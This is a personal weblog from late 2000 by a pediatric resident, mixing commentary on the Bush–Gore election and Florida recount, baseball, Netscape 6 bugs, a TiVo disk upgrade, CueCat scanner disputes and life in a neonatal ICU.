How the Grinch Stole Election Day, also available in audio form. (Slate offers this with “respect” to Dr. Seuss; seems like it should have been offered with apologies instead.)

Interested or not, the benefit of all this election hoo-hah in Florida is the strange-ass news that’s coming out of the mess.

Anyone out there feel like testing IPv6 for Windows 2000? According to the FAQ, the preview stack will allow web page views; I’m not quite clear on the addressing scheme, though. (This clears it up a little.) The whole thing is tempting, seeing as if you have the right routing equipment, you can join the 6boneanything called “6bone” must be worth joining.

Russ Cooper has come up with two excellent web pages, one for IIS 4.0 and one for IIS 5.0, that try to keep up-to-date with the hotfixes that any security-conscious web administrator should apply. Take heed.

Timothy Noah has a great little ditty on little bits of history that weren’t, including Alexander Graham Bell’s role in making Chester A. Arthur into President of the United States.

Will someone explain to me why disqualifying a ballot because it doesn’t meet the standards set by the law is unpatriotic, while disqualifying a ballot because the machine didn’t punch a hole all the way through is legitimate (albeit not in line with what the law says)? The bandying about of words like “patriotic” is especially disingenuous, as well, implying that the vote of someone in the military is somehow more important than that of a civilian, not to mention somehow less vulnerable to the applicable election laws.

By the way, not that it matters in the who-will-live-in-the-White-House sense, but Gore has finally won New Mexico, and appears to still have Wisconsin and Oregon in his pocket.

first earth image from iss

The first picture of Earth taken by the inhabitants of the International Space Station has been sent back, and it’s a beauty. With my obsession of all that is space-related, I can’t wait for the images to come pouring in…

I have to say I’m pretty damn honored to be on Matt’s daily reading list. My daily reading list is comprised of the links in the bookmark list in the gutter of this page; close inspection will demonstrate that Matt’s there, and good memory will recognize that he’s been there for a while.

Somewhere, there’s some guy who just found out that his girlfriend wrote in to a sex advice column, and he’s damn proud.

Hey, I’ve got an idea. Let’s take one of the crappiest designs of a computer — a design that completely reversed a company’s phoenix-like rise from the ashes and sent its stock tumbling — and copy it, throw Linux on, and sell it. Oh, wait… crap, someone’s done it. (Of course, Linux-centric strategies are having their own struggles to boot.)

It’s not so often that Mike and I agree on something, but agree on something we do — Andrea is being a bit of a bitch. Why take a gesture so well-meaning and deride it? Seems nuts.

Anyone think it was a coincidence that Clinton’s remarks on human rights in Vietnam were munged by the translator on the nationally-run television station?

From what I can tell, the Mac version of Netscape 6 has a few issues, as well. It’s amazing to me that I’m not reading diatribes about the browser from the same fanatics who lambaste Microsoft for releasing products with known bugs; I can’t say it surprises me all that much, though.

I ain’t gonna lie to you — my friend Phil can take a damn fine picture.

My sister needs some help — she’s finishing off a business school class, and part of her project involves needing answers to a survey. It’s a short 10-question survey on television advertising; it should take all of a minute to complete. If you’re willing to help (and I beg that you do!), click away.

The possible answers to the survey seem really wierd to me, since I haven’t owned a tv in about 2 years.

It made the election season nearly endurable…

eric

Hey, you — pay attention to that grey box up there at the top of the page, and if you haven’t, help out my sis and fill out the survey. (If you’re on a page view that doesn’t have the grey box, go here.)

Piggyback strong woman.

If anyone’s got an extra four grand lying around, he or she could feel absolutely free to buy me this scanner. (It’s a new Polaroid, announced this week, and at least by specs, it beats our Scitex EverSmart Pros. Intereting indeed.)

TiVo is at it again, this time with an essay contest on how TiVo can help you enjoy TV rivalries (huh?). They’re giving away Sony 30-hour recorders this time, rather than the Philips 14-hour ones. Contest ends December 15th, so get you essays in now…

When Firda wants a screenshot, Firda gets a screenshot. And now, Mike wants a screenshot, too.

I can’t, for the life of me, figure out how this band of nutjobs ended up in my referrer log yesterday. Should I be worried? Am I being targeted as against vasectomies and tubal ligations?

Thank you, Neale, I really needed to read about poop transfusion. Most concerning to me: there’s this little rule we have in hospitals that any body fluids given from one person to another (e.g., blood, platelets, immunoglobulins) is sterilized beforehand. Clearly, here they want the bacteria and bugs and whatnot — but riding along, they get the hepatitis, polio, and HIV. Ick.

Back in August, I pointed to a Writ piece about how the Twelfth Amendment could prohibit the Bush/Cheney ticket, or at least prohibit the Texas Electoral College delegates from voting for Bush/Cheney. (The Amendment prohibits Electors from casting votes for a ticket which contains two members from the same state as the Electors.) Today, Lawrence Caplan, a lawyer in Florida who’s fed up with Bush’s tactics in that state, filed a Federal lawsuit questioning Texas’ votes for Bush/Cheney. This could get interesting; if Bush were to lose those 32 votes, then the outcome of Florida would be meaningless, and we’d be congratulating President Gore.

The other interesting thing is that the Republicans could very well be forced into a position of defending an antiquated and silly part of the Constitution (the Electoral College, and its ability to swing differently than the popular vote) while fighting another antiquated and silly part of the Constitution (the Twelfth Amendment’s proscription against Electors voting for two delegates from the same state). Then again, Dubya passed a law mandating manual recounts in Texas, yet is fighting manual recounts in Florida, so it wouldn’t surprise me one lick.

Shocking! The Harlem Globetrotters, erstwhile showboats and owners of the longest “winning streak” in basketball, lost a game yesterday to Michigan State! It’s like someone decked the clown.

Peter has used eQuill to mark up the county-by-county map of how the election turned out. What a cool way to share information… has anyone else replied with their own marked-up map?

There’s a service pack out to Internet Explorer 5.5, which seems to be stable (at least in my use). Microsoft’s got a list of the fixes; to download it, use Windows Update.

A product and a service which both demonstrate why the dot-com frenzy has died down: a web browser that displays six pages simultaneously, as walls of a cube, and a service that tries to map the entire web onto the continent of Antarctica. I can’t imagine why either exist… is there someone who can’t figure out how to have six browser windows open? Someone who sees the natural logic of inflicting a geographical construct (based on a continent nobody is familiar with, too!) upon the Web? I just don’t get it.

Netscape 6 is finally out… and still has problems, the same ones that I reported to the Mozilla group throughout the beta that they didn’t fix. And while I’m typing this in, I’m getting a horizontal scrollbar despite the TEXTAREA having wrap set to “soft.” All this was discovered in the first two minutes of me using it; I wonder what else I’ll discover when I have time tonight to delve deeper…

OK, another Netscape 6 thing: it still refuses to connect to my HTTPS WebMail server. Does anyone out there know why? I’d love to know… it doesn’t give an error message, nothing, it just stops trying to load.

(I also wonder if Neale has seen the way that wetlog looks in Netscape 6? Alas, I see he has.)

I bought a new toy this week. There’s now enough compelling medical content out there that it was time to upgrade from my 2 Mb Palm V; I thought I was going to get the Palm Vx, but the Clie caught my eye. So far, so good — I like the feel (it’s slightly smaller), and love the omnipresent Sony jog dial.

A week or two back, I pointed to a news article about a father who left his two-year-old son in his truck, went hunting, and came back to find his son wasn’t there anymore. Unfortunately, they’ve now found the son’s body; it also looks like they’re looking at the father as a suspect.

What a bad precedent to set — now every bride and groom are going to expect a tank escort, or at least a Harrier flyover…

The newest nightly build from the folks at Mozilla finally renders the tables on this page correctly (or at least nearly correctly)! It only took them a few years… I wonder if the final Netscape 6.0 will also include these fixes.

Speaking of Mozilla, there’s been a great pissing contest over this past week which began when O’Reilly author David Flanagan penned a piece noting that Netscape’s newest offering won’t be as devoted to web standards as it claims to be. MozillaZine chieftan Chris Nelson then wrote a response, seemingly an attack on anyone who’s ever had anything negative to say about the browser project; the last salvo was a terse and reasoned reply from Jeffrey Zeldman, in the name of the Web Standards Project. And granted, most people who’ve read Q for any length of time know I don’t like Mozilla much, but how can anyone take MozillaZine seriously with that damn distracting “Punch the Monkey” ad on most pages?

It’s shocking how little regard for well-established law dumbass, right-wing school boards can have.

I’m done, done, done with the neonatal ICU, for the next year at least. Friday night was my last night on call there, and I witnessed possibly the most peaceful death ever. A few-hour-old child with a congenital diaphragmatic hernia was on full support — a high-frequency oscillating ventilator, pressors (drugs that help the heart maintain function), etc. — and his brain (or, more appropriately, brain stem) just gave up. His parents had signed an order for no heroic measures, so we just watched as his tracings slowed and finally stopped. It was sad, but intensely surreal as well; the few in-hospital deaths I’ve witnessed have involved frenzied resuscitation attempts, so to see one that happens so calmly is strange.

Alls that I’ve got to say is… holy shit. I was on call last night, and thank goodness the neonatal ICU was relatively quiet, letting my team and I sit and watch as the results came in. Florida’s going to Gore… no, wait, it’s too close to call… no, wait, it’s Bush’s state, and he’s the President… no, wait, it’s a matter of a few hundred votes… and here we are.

I’m tired as hell and want to go to sleep now, but I’m glued to my television. We’ll see what happens.

VOTE.

Do your part. Make your choice. Don’t leave it to others to make the decisions about who will run the United States and your local governments; have your own say in the matter. There’s no good excuse not to vote.

I’m continuing to tinker with the redesign; if anything breaks (or if you just feel like it), feel free to pass on your opinion.

Have you ever downloaded one of those annoying, branded versions of Internet Explorer? The ones with corporate logos in place of the rotating globe, pre-set home pages and favorites, and not-so-subtle reminders of who made them? Turns out you can dump the branding, easily.

The District of Columbia has started allowing residents to pay $10 for vanity license plates that read “Taxation Without Representation,” protesting the fact that D.C. pays Federal taxes without having a voting representative in the Federal government. While I agree with the sentiment, I don’t think that license plates are the place for political statements, and at least one Federal judge agrees.

Repent, repent, the end is nigh. I wonder how much Yahoo paid to be the new Boardwalk?

I’m glad to see not only that Sean Elliott has returned for another year in a San Antonio Spurs uniform, but that he’s also playing really well. Thirty one minutes, seven for ten from the field, three for four from behind the three-point line, for 18 points, all from a guy who went through a kidney transplant a little over a year ago — that’s terrific.

“Choose me, stuff me, stitch me, fluff me, dress me, name me, take me home.” Priceless.

Did Dubya deceive a Texas prosecutor in an attempt to avoid answering questions about his past DWI arrest and drug use? It’s interesting that this all came up in relation to a summons for Bush to serve on a DWI trial jury. More interesting is that, when asked how he felt about the alleged drunk driver, Bush replied, “I probably want to hang him and go home.” To me, this whole flap is just further confirmation that Bush wants to take stances on issues that are diametrically opposed to his own behavior on those very same issues; Jacob Weisberg seems to sum up my own feelings as best as any columnists have to date.

What’s pissing me off the most is that the media seems to want to focus on who “leaked” the DWI information, rather than its merits. Who the fuck cares who gave it to the press? The only thing that matters is if it’s true or not; if it is, then the way that it got to the public’s attention is meaningless. It reminds me of the scene in The American President when Michael Douglas, as President, has just bombed Libya, and the press wants to ask questions about his relationship with Annette Bening. His reply: “Keep your eye on the ball, people.”

What do y’all think of the redesign? Not radical, I admit, but something new nonetheless…

A little bit of a redesign tonight — I was getting bored with things, and felt like playing around. Lemme know what you think…

Bart Aronson has a good Writ column on violence in sports, and how we’ve grown to accept it. Clemens throwing a bat at Piazza, Tyson biting off part of Holyfield’s ear, Sprewell choking P.J. Carlissimo… all examples of things that would have been prosecuted if you or I did them to someone on the street, yet all things that are accepted as part of sport.

Dinkism of the day:

“So prescription drugs will be an ingritable part of the plan.”

Spanish fisherman caught a 275-pound, seven-foot-long taningia danae this week, prompting people the world over to ask, “What the hell is a taningia danae?” (It’s a member of the squid family, but it lacks feeding tentacles, instead having bioluminescent organs at the end of two arms.)

My original hometown paper pulled Doonesbury this past Wednesday because the strip repeated the assertion that Dubya has used cocaine. (Check out the strip here, although I don’t know how long they keep their strip archives up.)

More D-Dubya-I news: it turns out that Bush lied about the arrest incident when he told Wayne Slater, reporter for the Dallas Morning News, that he had not been arrested since 1968. This is exactly why the arrest matters — it’s an issue of trust.

I also love that Bush claims he didn’t speak of the arrest publicly because he didn’t want to set a bad example for his kids. What’s a worse example, lying about your past or owning up to being human? As Gary Kamiya puts it, “Just how telling your daughters that you were arrested, booked and humiliated will entice them down a six-for-the-road lifestyle is not clear. Nor is it obvious why allowing the press to inform your daughters of your reckless past is a preferable parenting technique.”

Once again, Michael Moore asks the questions about Dubya that should be asked. How many people do you know that have been arrested three times? How many of them qualify to be President?

Thankfully, FindLaw has provided the arrest and DUI record for Dubya’s youthful indiscretion.

Dahlia Lithwick’s back with her Supreme Court Dispatches, this time about a case pitting the Army Corps of Engineers against states’ rights to control their own ponds and lakes. (Best quote: “Congress must save the birds so we may kill them.”) The thing I love about her is that they’re not just about the cases before the Court, they’re about the people in the Court. This week, it’s about a poor deputy solicitor general who got reamed by Rehnquist.

While I’m glad that Dave Winer and his people have finally brought Referrer Logs to the Manila masses, I find it a little interesting how much their version looks like the referrer log tool that I wrote for Manila. I’ll take it as flattery. :)

Hey! What happened to the attachments on my discussion group messages? Some of the messages have binary attachments; none of them are showing up as available for download. (See here and here; both should have lines in the headers offering downloads.) Fuck.

Has it really been a whole week since I updated? Wow… I had no idea.

One reason for the lack of late-week updates was that I was at game 5 of the World Series. Amazing game, as was the entire series; it’s a shame that most of the country didn’t tune in, because it was one of the best-played Series in my lifetime. The best part of game 5, though, was that I was lucky enough to have had a media pass, so I stayed on the field after the game until nearly 2 AM, watching the celebration. Awesome.

Holy shit! Despite talking about it about a hundred times this past week, I almost completely forgot that tonight’s when we roll back our clocks an hour, meaning that I get an extra hour’s sleep tonight. Happy happy joy joy!

The dink speaketh:

“It’s important for us to explain to our nation that life is important. It’s not only life of babies, but it’s life of children living in, you know, the dark dungeons of the Internet.”

Here’s an excellent IIS 5.0 reference from Microsoft, which includes an Apache directive to IIS conversion table. I’m linking mostly as a bookmark for myself, but I figured others could get some use out of it, too…

From MetaFilter comes a news story about an Oklahoma school which suspended a student for allegedly casting a spell which made a teacher sick. The best part of the story, though, has to be that the principal of the school really is named Charlie Bushyhead.

So, because of the flu vaccine shortage in the U.S., my normal supplier of the vaccine (the pediatric pulmonology department) isn’t giving shots this year. Instead, everyone has to go down to the occupational health department, and wait about two hours before being seen by a nurse who will determine if I’m eligible for an early shot. Thus, despite the fact that a bunch of us are working in the neonatal ICU and should be some of the first to get the shot, none of us can go get it — there’s just not that much time that any of us can take off in the middle of the day. Ridiculous.

Does anyone else think it’s sorta funny that the latest version of WinAmp is v2.666?

What the hell was this father doing leaving a two-year-old boy alone in his truck for almost two hours? I hope that they find they boy, but I also hope that they don’t return him to the father.

Once again, the level of spam seems to have picked up significantly. Even with the Realtime Blackhole List feature turned on at my mailserver, I’m getting hit hard. (Wow, it turns out that Wired has an article about this today.)

The members of the Samba development team that have been working on a version compatible with Windows 2000 (among many other things) has officially forked into a new codebase. Interesting.

The NICU is a whole new world. Babies are the size of my hands, their veins are as thin as strands of hair, the doses of drugs we give them are less than a droplet of fluid at times. Sometimes, we put the babies under UV lights to help break down high bilirubin levels (making them look like they’re laying out at the beach). Other times, we knock them out with drugs so that they don’t fight the resipirator keeping them alive (making them look limp and lifeless). At times, it’s pretty spooky.

My one huge issue with working in the NICU, though, is that I’ve been reduced back to the level of a third-year medical student. The language is different, the computer systems are different, the hierarchy of care is different. Most of my decisions have to be filtered through about fourteen levels of approval; in some cases, that’s appropriate (it is an ICU, after all), but in other cases, it’s depressing that I can’t do things on my own.

The esteemed Dubya:

“Families is where our nation finds hope, where wings take dream.”

Bush Horrified to Learn Presidential Salary. “I know my dad made a bundle off the Gulf War,” Bush continued. “But I guess it wasn’t through the job. I’ll have to ask him just exactly how he did it. Maybe something like that would work again.”

I’m honored to be included in Nik’s We Didn’t Start the Weblogs, and on the same line as Rebecca at that!

ESPN has put together a Subway Series home. I’m sooooo excited about tonight’s game, Leiter vs. Pettitte, southpaw vs. southpaw. I’m rooting for the Yanks, but I’d love to see this drawn out into a competitive series, unlike last year’s brutalization of the Braves.

Of course, Bostonians aren’t too happy about the Subway Series; perhaps it’s because they can’t deal with the perpetual suckiness of the Red Sox.

The season premiere of Law & Order was pretty good, but I’m not sure that I’m going to like Dianne Wiest as the new New York District Attorney — she doesn’t have the crotchety, everyone’s-opinionated-grandparent appeal that Steven Hill had. Only time will tell.

On the other hand, this week’s episode of The West Wing was terrific. By far, the best scene was when President Bartlett appropriated the oft-forwarded Open Letter to Dr. Laura; it was one of the best-executed anti-Dr. Laura tirades I’ve heard, and coming from the the (faux) President, it was priceless.

Thanks to Anil for letting the world know that the Unix command ln has come to Windows 2000.

Hello everyone. I started a new rotation, in the neonatal ICU, this week, so things have been rather hectic around here; it’s a lot harder than any other rotation I’ve done, and I’ve never been so tired. Now, at 5:45 AM, I’m off to the hospital, to start another day…

Of course, one thing keeping my energy level up is the Subway Series. For those who scoff at the enthusiasm of us New Yorkers, understand that most of us couldn’t care less about your opinion; we can see your lips movin’, but we don’t hear you speakin’. It is exciting to have one of the biggest sports events completely within your city, involving the two prides of most New Yorkers’ hearts.

Let’s go Yankees! The Rocket pitched a complete game, one-hit wonder; he struck out 15 batters, setting a new nine-inning ALCS record. The Yanks are finally showing their stuff.

For those of you who were wondering, yes, the U.S. government again is operating without a budget. It never ceases to amaze me how a bunch of people so bent on telling others how to do things can be so inept at actually doing the things that they need to do.

Mozilla Milestone release 18 is out; what do you think the chances are that the CSS here shows up correctly, or that it will connect to my WebMail servers? (Answer: slim chances. The CSS borders on tables are still screwed up, as this screenshot shows; M18 also doesn’t connect to the WebMail servers.)

One of the beautiful things about a drug finally gaining FDA approval is that, once approved, the drug can be used for indications that aren’t the ones for which the drug got approval. These uses are called “off-label,” and there are a ton of drugs that are now standard-of-care for conditions despite never being approved by the FDA for those conditions. And what all this means is that Searle whining about misoprostol not being labeled for use in abortions is meaningless — even though misopristol was approved as an antiulcer drug, it is used regularly by obstetricians to induce labor in full-term pregnancies, and to limit post-partum hemorrhage, and it will continue to be used for reasons other than ulcers.

Fun, fun — George W. Bush magnetic poetry, from the safety of your own computer.

Ever have a day where it’s all you can do to prevent your frustration from getting the better of you? Yesterday was one of those days. We had a famous, famous professor of pediatric cardiology visiting the hospital, and while cool, it meant that it was incredibly tough to get anything done for kids on the inpatient cardiology floor, and I could feel my impatience level rising. And once all of the little, “standard” annoyances were added to this, I just wanted to come home, curl up in a little ball, and wake up next week.

On the flipside, though, I got some very nice compliments from people whose opinions matter; it definitely took the edge off of the day enough to keep me from dissolving, and made taking call last night tolerable.

Ford’s having a very, very bad run of things lately. If they were a dot-com, they’d be declaring bankruptcy right about now.

Thanks go to Firda for the link to the button with anger. I like sites like this…

And more thanks to Heather for the link to a very silly kitty. I want another kitten…

A federal jury gave Heather Mercer a cool $2 million today, ruling that Duke excluded her from being a placekicker on their Division I football team solely due to her gender. I’m not clear on something — does the NCAA have a rule that players on a men’s football team should be men? Is it considered a men’s football league? I admit that I assumed it was; I think I’m wrong.

I just declared George W. Bush a big smirky doofus; merci beaucoup to GeekForce for giving me the opportunity to do so.

UrbanFetch, we hardly knew ye. I’ll miss them; they were much better than Kozmo, and I think that I’m going to end up back at Blockbuster more.

I am now a full-fledged, no-holds-barred member of the TiVolution. Right now, I’m watching St. Elsewhere, which Bravo started running in syndication recently; I’m soooooo happy.

David Theige’s MedEd News is back! David is an internal medicine doc at the University of North Dakota School of Medicine. He’s also the director of the medicine clerkship there (it’s the course that every third-year medical student has to take to learn about general inpatient medicine), and MedEd News is his site devoted to topics about academic medicine.

Damn it! How did I not know that last week’s Breakfast Table over at Slate involved Dahlia Lithwick? I love her writing; time to curl up with the laptop on the sofa and read away.

I can’t say more about this than the headline says itself: Man with No Hands Fails to Climb Mount Everest.

Dan Budiac != DanDot. Dan Budiac = DanSays.

OK, the rate of influx of spam in my inbox has definitely rocketed — 13 pieces in about four hours today, to an email address that usually gets 1-2 pieces a day. I guess it’s time to turn on the MAPS Realtime Blackhole List block on my mail server

The first two years of medical school involve many, many, many lectures, and I have to admit that I gave into the temptation to skip some here and there. Very early, though, I learned that any lecture given by Eric Kandel was not to be missed — he is probably the smartest man I’ve met, and one of the best lecturers I’ve come across. It appears that others share my admiration for him; he won the Nobel Prize yesterday. Cool.

Last Friday, Marty McSorley was convicted of assault with a weapon for his dirty, dirty hit on Donald Brashear last year during an NHL game. He was given only probation; he also has to ask the commissioner for permission to return to the league. It will be interesting if other sports leagues go the legal route for transgressions in their arenas; I can see the power forward position in basketball having to change pretty drastically.

I got my TiVo today, and I’m struggling a little bit with the upgrade. Nothing that will stop me, just stuff that’s popping up in the way.

First, never have I been happier to receive the worst model of something. (The 14-hour, single-drive TiVo is the easiest to upgrade. There were some winners of the essay contest who received the two-drive, 30-hour model; it cannot be upgraded easily.) With the one I got, I should easily be able to slip the 82 Gb drive I bought in as the second hard disk.

I got the top of the case off easily, after hearing that it could be really difficult. There’s not much inside the machine — a motherboard, a power supply, and a single hard disk, with a space for a second disk.

First, I needed to back up the hard disk. The best way to do it is disk-to-disk, but for this, you need a 15 Gb disk that you’ll store the backup on. I ordered one, but it isn’t here yet, and in my impatience, I decided to move onto the second-best way to do it — make a compressed backup onto a smaller hard disk. Unfortunately, the largest FAT partition that I could make (and you need a FAT partition to make the backup) was 2 Gb, which isn’t big enough to store the whole backup.

So, right now, I’m formatting a second hard disk, will copy the first three parts of the backup onto it, and then let the backup restart; as it’s going, I’ll delete these same three parts as they’re made, leaving room for the remaining two or three.

After that, I just need to bless the new hard disk, install it inside the TiVo, and away I go.

UPDATE #1: The backup’s done; I’m now just waiting for the write-verify to finish on the 82 Gb drive. I decided to follow these instructions after reading that doing so is the best way to avoid a periodic video stutter that can be seen with this drive.

UPDATE #2: I’m done setting up the 82 Gb drive. Dylan’s Bootdisk ran perfectly; it’s an example (along with the TiVo itself!) of a great modification of TiVo for a specific purpose. The drive’s installed in my TiVo, but I won’t know if it worked until I finish the guided setup. Since I’ve been doing all of this in my office, it’s time to head home and see what we’ve got…

UPDATE #3: Since it’s late, I ran home, quickly crimped two temporary jacks onto the line that I ran from the master phone jack to the TV, and threw the TiVo up on the shelf. Ten minutes later, I’ve gotten to the part of the guided setup that takes a few hours; things look good, and it’s time for bed.

UPDATE #4: I woke up this morning and turned on my TV, only to find that the TiVo thought that it was September, not October. Having to rush off to work, I couldn’t really do anything about it. I called TiVo when I got into work, and their answer is that the servers had had a time problem the night before; since the box gets its time from the servers when it calls in each night, the box got the wrong time. They promised that I could initiate a daily call when I got home, and all would be well.

UPDATE #5: I did initate the daily call, and TiVo was right — now it knows the right date. The box also downloaded the latest version of the operating system — but what that means is that it will have to reboot and make another daily call to get all the program information. So I did that, and now it has to index everything (a process that could take hours).

UPDATE #6: Indexing complete! I now have full guide information, and am setting my prefs so that it will record things for me during the day as it finds thing that it thinks I will like.

Good morning, all. I went to the Mets game yesterday, and had no idea that I’d get to witness an all-time classic. Benny Agbayani hit a solo home run in the bottom of the 13th inning to win the game; more importantly, he did so after failing to lay down a sacrifice bunt in the bottom of the 11th (and setting himself up to be the goat of the game if the Mets had lost). Great game; the Mets can finish off the series at home today.

Here’s an interesting tidbit about the game that you won’t hear anywhere else. The ESPN article relates a “bit of intrigue” related to when the Mets were accused of stealing signs in the bottom of the 10th. A “small camera” was behind the plate, waist-high, and Bobby Valentine covered the camera up; “an inning later, the camera was gone.” The truth of the story: the camera was a remote set up by a magazine photographer (who has nothing to do with either team), the towel didn’t even cover the lens of the camera, and the camera stayed in place through the end of the postgame celebration.

I got my TiVo today, and decided to start the upgrade process immediately. Right now, I’m struggling a bit; it’s purely a function of my impatience, though. I’ll update the above-linked page as things progress.

If you live in New York, this coming Friday, October 13th, is the deadline to register to vote. There are many websites set up to help you do just that — Online Democracy, Election.com, and Be A Voter (although the latter is now limited to helping you figure out a place to go to register). Do your part!

Marcia Kramer is an idiot. The fact that she carries the title of journalist is appalling.

More CueCat stuff. It appears that Digital Convergence can’t do crap to anyone who received their barcode scanner free in the mail, since free mail gifts, by law, can be used in any manner that the recipient sees fit. Also, someone has figured out how to turn off the built-in barcode encryption in the CueCat, meaning that the output is pure ASCII data. Looks like Digital Convergence needs to start looking for a new business model, fast; in the mean time, I recommend that everyone go out and get a free scanner while they’re still available.

What does everyone think — should the Clintons choose Harlem for their Manhattan pied-a-terre? Personally, I think it wouldn’t be too bad a choice; Harlem’s bark is much, much worse than its bite, and actually has some beautiful areas within it.

Tres, tres interresant — if this document is trustworthy, then Dubya was suspended from the Texas Air National Guard, apparently for neglecting to get a physical. The Democrats (obviously, not an unbiased reporting source) believe that there is some credibility behind the notion that Bush avoided a physical because of the newly-implemented military policy of random drug screenings during physicals; I’d believe that. (Thanks to MetaFilter for the link.)

Brad is excellent form. And, in the world of meta-meta, Jason noticed the same thing that Brad did. Strange…

Frickin’ Yankees. I didn’t even get to watch the game; I was on call.

Piddlin’ around the web last night while on call, I ran into the dot.TV domain registrar again, and decided to check out what their crazy suggested bid for queso.tv would be. Crazy, indeed — do these people think that they’re going to remain solvent for long?

The U.S. Court of Appeals for the Federal Circuit spent an extra amount of time Monday on the Barnes & Noble appeal of the injunction preventing the company from using Amazon’s single-click order system. And while this case doesn’t deal with the validity of the patent, the panel is clearly thinking about that issue, or they wouldn’t have spent over twice the normal time on this case.

If you’ve ever needed a dictionary for the lingo of typography, then counterspace is for you. It’s damn beautiful, too; the only ding on it is the Flash intro page (although it’s about 4 seconds long, so it’s not too bad).

Take it from a pediatrician — Greg is a wise, wise man.

Hmmm — Derek won his TiVo on September 27th, and got it today; I haven’t seen hide nor hair of mine, and I won it a day earlier. I want my TiVo!!!

Yesterday, I registered a couple of domain names with Register.com, and the level of service that they provide is so far and away better than Network Solutions it’s ridiculous. First of all, the domain is ready-to-use today (as opposed to the eons that it takes with NSI); also, I can make changes to my DNS information on a convenient web-based system, rather than the idiotic mail-based, who-knows-if-it-will-get-done system that NSI employs. Looks like I have a new registrar.

Excellent summary of Al Gore’s actual role in fostering the development of the Internet, written by Robert Kahn and Vinton Cerf. (Who, you may ask, are Kahn and Cerf? They’re the two guys who invented TCP/IP, the basic language of the Internet.)

The Republicans really are idiots. At the end of many of their current commercials, they run a URL, gorewillsayanything.com. Try clicking on that link.

Lots and lots and lots of news out of the Supreme Court today. In bullet-point form:

  • The Court set aside a ruling that permitted students at Florida schools to elect prayer-leaders, in light of their decision in the Santa Fe school prayer case.
  • The ability to reverse-engineer code was upheld by the Court’s refusal to hear Sony’s appeal against Connectix for the company’s GameBoy emulator. This will be particularly interesting in relation to the UCITA, which specifically forbids reverse-engineering and is slowly being enacted across the country.
  • AOL’s status as more than a common carrier was upheld in the Court’s refusal to revive a lawsuit against the provider by subscribers.
  • George Wendt and John Ratzenberger (Norm and Cliff) have standing to sue Paramount in an effort to prevent the studio from licensing robots of the two Cheers characters to bars around the country.
  • The Court let standing rulings by the Federal District Court in California that allows schools to use race in consideration of applications if they have a justifiable reason to do so. Of interest, it isn’t college applications that are at issue, it’s elementary school applications.

I love that, as the election nears, the Bushism of the Week has turned into Bushisms of the Day. Two of the latest:

“I will have a foreign-handed foreign policy.”

“One of the common denominators I have found is that expectations rise above that which is expected.”

Today, I went and picked myself up a free CueCat barcode scanner at the Radio Shack that’s on my way home from the subway. Interestingly, the exact summary of the pickup was the following: ask for a CueCat, receive a CueCat. No license to sign, no paperwork to fill out, nothing. And so far as I can tell, there is no license that I have to read in order to plug the device in; the only place where there could exist a license to which I could even implicitly agree would be when I install the software, which I’m not going to do. So I can’t help but wonder what legal principles Digital Convergence thought they could rely upon when they decided to start sending C&D letters to people who were writing alternate software for the device… the company doesn’t have a chance, at least not with this distribution strategy.

In the mean time, I have a free barcode scanner at home.

Does anyone know what happened to the Free Font of the Day subsite over at Andover?

Pretty funny

The Yankees are sucking as badly as is possible right now; I wonder if they’ll even make it through the first round of the playoffs. Part of me (the part that’s a dreamer, and knows how ridiculous he can be) wants the 15-losses-in-18-games streak to be a mindgame on the part of the Yanks… but nope, they just suck right now.

One of my good friends (and co-residents) has pertussis, so now I’m on a week’s worth of antibiotic prophylaxis. Fun, fun, fun. (In addition, Alwin asks why we’re not immunized against pertussis, and I explain.)

In 1962, a company called International Fiberglass made a 25-foot-tall statue of Paul Bunyan for an Arizona cafe, with a large axe held in his hands (left hand palm-down, right hand cradling the axe palm-up). Over the next decade, they parlayed that single mold into thousands of statues — cowboys, indians, astronauts, muffler men. These statues still sit quietly by many U.S. highways and byways, hands still in the same positions, as a not-so-small slice of Americana waiting to be documented.

I assure you that there aren’t too many New Yorkers who are upset about the closing of the All-Star Cafe. For me, the happiness rests in the fact that it’s around the corner from my favorite BBQ place in the city, and this means no more maneuvering through the crowds of tourists who are gawking at two-story high pictures of famous athletes. Damn.

Two new weblog portals, BlogHop and BlogStart (the latter by the kickass Zannah), have opened their shutters over the past week or two. While they are both pretty cool, I don’t know how much utility these kinds of sites offer; BlogHop doesn’t even attempt to categorize listings, and BlogStart unsurprisingly has ended up with a disproportionately-large Personal category. Neither, though, make it any easier for me to discover a weblog that’s in the nebulous category of “Logs that Jason Would Like” — and I don’t know if that’ll ever happen.

Found in the referrer logs: someone’s explicitly searching for me. On many levels, scary…

This evening, I finally got around to updating the bookmarks column on the left; some links were dead, others were pointing to redirect pages as weblogs have moved around, and other daily reads of mine weren’t even there. Now things are better, more or less.

Is it just me, or has the amount of spam being sent increased exponentially over the past month or two?

Finally.

My new backpack: good. My new backpack’s manufacturer’s crappy Flash-based website: bad.

Frickin’ coooooool: GeoCaching, wherein you leave a secret stash of goodies somewhere, record the location via your GPS, and then post it to a website for others to find, take stuff, and add stuff. I doubt you could pull this off in NYC itself; the stash would be either thrown into the trash or found by a homeless person within hours.

Another cool GPS site (that I wish I had known about before I went to Alaska): the Degree Confluence Project. The goal is to find out where all of the whole-integer latitude and longitude lines cross, and take a picture of the spot; I’m sure that I could have helped out during my vacation.

A viewpoint I hadn’t heard before — Apple’s plummet is being blamed on the release of the G4 cube. Pretty, yes, but I agree that there doesn’t seem to be a market for the computer.

Suck has caught onto the TiVo giveaway story. (And there are rumors in some circles that some winners of free TiVos have been receiving the 30-hour model rather than the 14-hour model. My fingers are crossed…)

Some people don’t know when to quit. Hmmmm, let’s see — now, two Federal level courts have ruled that the INS acted within its discretion, and in their decisions, specifically cited laws and directives which gave the INS its power of search and seizure; yeah, this lawsuit’s going somewhere.

If at first your coach gets canned, sue, sue again.

Timothy Noah, erstwhile Chatterbox correspondent for Slate, asks an interesting question — what will happen to the White House website once Clinton leaves office? It began during his term, and the website is a strong reflection of his particular time in office. Luckily, though, no matter what the Powers That Be decide to do, there are some good archives around the web.

I truly dislike when idiots can’t understand the difference between the First Amendment right to free speech and some other entity’s right to not have to help that person further his or her views — it’s like a virus, and other people end up believing that this hick has some free speech-based “right” to have his BBQ sauce sold in major chains.

Ive visited your website on occasion, you have the strangest news on it and, id be willing to bet, nobody in the internet community cares…the only posts i ever see on your discussion board are from you, to you…by writing something that might actually interest someone and spark some sort of intellectual thought, or hey, just get someone to look twice at what was on this website, im doing you a favor…

